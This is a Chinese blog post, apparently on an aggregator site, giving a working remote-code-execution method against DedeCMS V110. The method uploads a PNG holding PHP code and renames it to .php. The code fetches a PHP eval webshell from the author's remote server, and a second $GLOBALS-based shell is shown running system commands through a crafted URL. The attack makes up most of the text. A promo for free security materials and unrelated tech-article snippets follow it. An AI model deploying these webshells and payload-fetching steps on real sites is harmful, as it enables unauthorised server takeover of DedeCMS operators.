Dedecms V110最新版RCE---Tricks

前言

剛發現Dedecms更新了發布版本,順便測試一下之前的day有沒有修復,突然想到了新的tricks去實現RCE。

文章發布的時候估計比較晚了,一直沒時間寫了。

利用

/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......

我發布的文檔->>>>添加文檔->>>>站內選擇進行文件上傳

/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives

image-20230728094845280

文件上傳

image-20230728094856782

在vps上起一個http的服務,端口設置為8016

image-20230728094909452

遠程服務器存放shell.php,文件內容為

<?php @eval ($_POST ['a']);?>

準備一個圖片格式的文件,文件內容為,這里我上傳的文件名稱為f.png

<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>

上傳成功后可以看到上傳的圖片的位置

img

修改文件名為b.php

image-20230728095102010

保存發現png圖片已成功被更改,訪問b.php,從遠程vps下載了shell.php,當前目錄下存在一個名稱為shell.php的木馬文件

image-20230728095304075

image-20230728095321926

利用webshell進行命令執行。

image-20230728095349684

成功執行了命令

?幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

思考

如果不考慮文件上傳后綴名繞過方法,僅以上面圖片格式的文件上傳的話,那么無所謂上傳的什么內容,因為本身來講dede的代碼中對文件內容是做的有校驗的

image-20230728100238554

所以文件內有兩種繞過方法

  • 正則繞過
  • disable函數繞過

簡單搜索了一下各個平臺的文章,其實是有師傅正則繞過實現webshell的。第二點兒,disable函數繞過,往前幾個版本,有興趣的可以看一下源碼,之前利用全局變量Globals繞過

image-20230728101122230

代碼內容

<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>

image-20230728101156144

命令執行

http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);

image-20230728102212211

成功執行命令,且該命令執行為未授權命令執行。

所以在官方前幾個版本中已經更新了,添加進了禁用方法

image-20230728101530314

所以在繞過禁用方法上來講更容易一點兒。所以在利用上這里利用了copy函數的特性,那么這里提醒一下,其它的函數當然也可以滿足效果。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/37345.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/37345.shtml
英文地址,請注明出處:http://en.pswp.cn/news/37345.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Blender增強現實3D模型制作指南【AR】

推薦&#xff1a;用 NSDT編輯器 快速搭建可編程3D場景 將靜態和動畫 3D 內容集成到移動增強現實 (AR) 體驗中是增強用戶沉浸感和參與度的高效方法。 然而&#xff0c;為 AR 創建 3D 對象可能相當艱巨&#xff0c;尤其是對于那些缺乏 3D 建模經驗的人來說。 與添加視頻或照片 AR…

黑馬項目一階段面試58題 蒼穹外賣具體技術細節9題

一、Nginx的作用 1.反向代理 前端把請求發送給nginx&#xff0c;再由nginx將請求發送給后端服務器。 2.負載均衡 提高訪問速度&#xff1b;進行負載均衡&#xff1b;保證后端服務安全 二、Swagger有什么作用 直接調試后端請求響應 三、Redis常見數據類型 String、Hash、L…

flutter 解壓 zip 中文亂碼問題處理

前言 很簡單的一個 zip 包解壓縮的功能&#xff0c;但是 windows 平臺中文顯示亂碼&#xff0c;很糟心&#xff0c;搜了一圈沒找到現成的方法&#xff0c;在此貼上我的解決方式。 實現 導入需要的包 flutter pub add archiveflutter pub add fast_gbkflutter pub add path代…

THUDM/chatglm2-6b-int4體驗

在gpu下 gpu&#xff1a; Telsa T4 資源消耗&#xff1a;RAM大概4G&#xff0c;GPU顯存大概6G # 安裝transformers等包 !pip install protobuf transformers4.30.2 cpm_kernels torch>2.0 gradio mdtex2html sentencepiece accelerate# 導入AutoTokenizer, AutoModel from…

CSAPP Lec01

1. CMU 15213_15513 CSAPP 深入理解計算機系統 Lecture 01 Course Overview 中英字幕_嗶哩嗶哩_bilibili 從這個課程中可以學到什么&#xff1f;&#xff08;為什么要學這門課&#xff09; Great Reality #1&#xff08;數字類型&#xff09;: Ints are not Integers, Floats…

idea打jar包

目錄 1、打包設置 2、打包介紹 3、開始打包 1、打包設置 先設置要打包的模塊信息&#xff0c;即打包進去的內容。如下圖所示&#xff1a;File --> Project Structure --> Artifacts&#xff0c;點擊&#xff0b;號完成模塊創建&#xff0c;其中有兩種方式&#xff1a;…

《零基礎實踐深度學習》(第2版)學習筆記,(二)機器學習和深度學習綜述

文章目錄 1. 人工智能、機器學習、深度學習的關系2. 機器學習2.1 實現原理2.2 如何實施 3. 深度學習神經網絡核心概念 1. 人工智能、機器學習、深度學習的關系 **人工智能&#xff08;Artificial Intelligence&#xff0c;AI&#xff09;**是研發用于模擬、延伸和擴展人的智能…

微服務系列(2)--注冊中心

在博文&#xff1a;微服務系列(1)里我們提到過注冊中心的概念&#xff0c;簡單來說微服務注冊中心是一個用于存儲和管理微服務實例信息的組件&#xff0c;它提供了服務注冊、服務發現、服務健康檢查等功能&#xff0c;以確保微服務之間的穩定通信。在微服務架構中&#xff0c;各…

Debian純凈系統安裝php常用擴展和程序

適用于 php-fpm debian容器 mysql擴展 docker-php-ext-install pdo_mysql docker-php-ext-install mysqliredis擴展 pecl install redis docker-php-ext-enable redis# pecl無法裝就&#xff1a; docker-php-source extract # 創建并初始化 /usr/src/php目錄&#xff08;擴展…

應用層協議——TCP(上)

文章目錄 1. TCP協議1.1 TCP協議段格式1.2 確認應答(ACK)機制1.3 16位窗口大小1.4 6位標志位1.4.1 TCP三次握手 1.5 確認應答(ACK)機制1.6 超時重傳機制1.7 連接管理機制1.7.1 理解TIME_WAIT狀態1.7.2 理解 CLOSE_WAIT 狀態 1. TCP協議 TCP全稱為傳輸控制協議&#xff0c;意思…

【uniapp 中使用uni-popup阻止左滑退出程序】

在uniapp中&#xff0c;可以使用uni-app插件uni-popup提供的阻止左滑退出程序的功能。具體步驟如下&#xff1a; 安裝uni-popup插件&#xff1a;在HBuilderX編輯器中&#xff0c;打開manifest.json文件&#xff0c;找到“dependencies”字段&#xff0c;在其后添加&#xff1a…

〔AI 繪畫〕Stable Diffusion 之 VAE 篇

? 目錄 &#x1f388; 什么是VAE&#x1f388; 開啟VAE&#x1f388; 下載常見的VAE&#x1f388; 對比不同VAE生成的效果 &#x1f388; 什么是VAE VAE&#xff1a;是 Variational Auto-Encoder 的簡稱&#xff0c;也就是變分自動編碼器可以把它理解成給圖片加濾鏡&#xff…

JavaWeb-Filter過濾器

目錄 Filter過濾器 1. Filter的生命周期 2.Filter的配置 3.攔截路徑 4.攔截具體的使用 5.攔截方式配置&#xff08;資源被訪問方式&#xff09; 6.FilterChain攔截鏈 Filter過濾器 filter是過濾器&#xff0c;相比于Servlet的發送請求&#xff0c;filter是用于攔截請求。…

2023-08-14 linux 串口終端輸入長命令不換行,覆蓋前面內容,stty命令設置串口終端行列數

一、linux 串口終端輸入長命令不換行&#xff0c;覆蓋前面內容&#xff0c;現象如下圖&#xff1a; 二、解決方法&#xff1a;用stty 命令設置行列數 stty columns 200 stty rows 10三、參考文章 https://www.cnblogs.com/goloving/p/15170537.html 常用Linux串口設備操作命…

【Servlet】(Servlet API HttpServlet 處理請求 HttpServletRequest 打印請求信息 前端給后端傳參)

文章目錄 Servlet APIHttpServlet處理請求 HttpServletRequest打印請求信息前端給后端傳參 Servlet API Servlet中常用的API HttpServlet 實際開發的時候主要重寫 doXXX 方法, 很少會重寫 init / destory / service destory 服務器終止的時候會調用. //下面的注解把當前類和…

gin的占位符:和通配符*

1、用法 在 Gin 路由中&#xff0c;可以使用一個通配符&#xff08;*&#xff09;或一個占位符&#xff08;:&#xff09;來捕獲 URL 的一部分。 r.GET("/royal/:id", func(c *gin.Context) {id : c.Param("id")//fmt.Println("into :id")c.Str…

成都到長沙自駕游路線推薦-成都至長沙自駕游攻略

請問成都到長沙自駕怎么走&#xff0c;中途在哪里休息比較合適&#xff0c;沿途有哪些景點&#xff1f; 在湖南湘西的吉首落腳是首選 一&#xff0c;成都到吉首 約在800公里。全程高速估計就是 9個小時左右。如果上午出發&#xff0c;差不多可以到吉首吃晚餐&#xff0c;再住酒…

ef core 分頁

在使用 Entity Framework Core&#xff08;EF Core&#xff09;進行分頁查詢時&#xff0c;你可以借助以下方法來實現&#xff1a; 使用 Skip 和 Take 方法&#xff1a;Skip 方法用于跳過指定數量的記錄&#xff0c;而 Take 方法用于選擇指定數量的記錄。結合使用這兩個方法&am…

HBase API

我們之后的實際開發中不可能在服務器那邊直接使用shell命令一直敲的&#xff0c;一般都是通過API進行操作的。 環境準備 新建Maven項目&#xff0c;導入Maven依賴 <dependencies><dependency><groupId>org.apache.hbase</groupId><artifactId>…

命令執行漏洞

1、命令執行漏洞 1.1、簡介 Django是用Python開發的一個免費開源的Web結構&#xff0c;幾乎包括了Web使用方方面面&#xff0c;能夠用于快速建立高性能、文雅的網站&#xff0c;Diango提供了許多網站后臺開發常常用到的模塊&#xff0c;使開發者可以專注于業務部分。 1.2、漏…